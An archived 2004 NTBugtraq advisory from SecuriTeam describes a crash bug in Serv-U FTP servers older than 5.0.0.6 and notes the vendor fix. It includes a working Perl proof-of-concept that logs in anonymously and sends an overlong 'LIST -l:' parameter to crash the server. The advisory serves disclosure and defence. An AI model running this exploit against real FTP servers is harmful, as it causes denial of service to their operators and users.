[prev in list] [next in list] [prev in thread] [next in thread] 

List:       ntbugtraq
Subject:    Serv-U LIST -l Parameter Buffer Overflow
From:       Aviram Jenik <aviram () BEYONDSECURITY ! COM>
Date:       2004-05-03 11:39:48
Message-ID: 200405031439.48338.aviram () beyondsecurity ! com
[Download RAW message or body]

 Serv-U LIST -l Parameter Buffer Overflow
------------------------------------------------------------------------


Article reference:
http://www.securiteam.com/windowsntfocus/5ZP0G2KCKA.html




SUMMARY

<http://www.serv-u.com/> Serv-U is a "powerful, easy-to-use, award-winning FTP
server" created by Rob Beckers.
A vulnerability in the product allows a remote user to cause the server to
fail by sending a malformed LIST command to the server.

DETAILS

Vulnerable Systems:
* Serv-U older than 5.0.0.6

Immune Systems:
* Serv-U 5.0.0.6 and newer

A user issuing a long parameter (around 134 bytes) as a value for a LIST
command (using the -l: parameter for that LIST command), can cause the server
to try and read a value that is outside the memory location of the Serv-U's
memory, this will cause an exception to be triggered (an unhandled
exception), which in turn causes the program to crash.

Solution:
The vendor has released a new version, which fixes this problem.

Exploit:
#!/usr/bin/perl

use IO::Socket;

$host = "192.168.1.243";

$remote = IO::Socket::INET->new ( Proto => "tcp",
     PeerAddr => $host,
     PeerPort => "2116",
    );

unless ($remote) { die "cannot connect to ftp daemon on $host" }

print "connected\n";
while (<$remote>)
{
 print $_;
 if (/220 /)
 {
  last;
 }
}

$remote->autoflush(1);

my $ftp = "USER anonymous\r\n";

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/331 /)
 {
  last;
 }
}

$ftp = join("", "PASS ", "a\@b.com", "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/230 /)
 {
  last;
 }
}

my $ftp = join ("", "LIST -l:", "A"x(134), "\r\n");

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/250 Done/)
 {
  last;
 }
}

close $remote;


ADDITIONAL INFORMATION

SecurITeam would like to thank  <mailto:storm@securiteam.com> STORM for
finding this vulnerability.




Regards,
Aviram Jenik
Beyond Security Ltd.

http://www.BeyondSecurity.com
http://www.SecuriTeam.com

The First Integrated Network and Web Application Vulnerability Scanner:
http://www.beyondsecurity.com/webscan-wp.pdf




====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.

-----
Earn up to 10 credit course hours toward the TruSecure ICSA Practitioner (TICSA) \
Credential and receive a TICSA exam coupon by attending the Infosecurity Canada 2004 \
conference.  Featured speaker, Marcus J. Ranum, TruSecure inventor of the proxy \
firewall will present on June 3 at 11:30 AM.  Visit <https://ticsa.trusecure.com>  \
for certification details and <http://www.infosecuritycanada.com>  for conference \
                information.  Become TICSA certified and see what happens!
-----


[prev in list] [next in list] [prev in thread] [next in thread]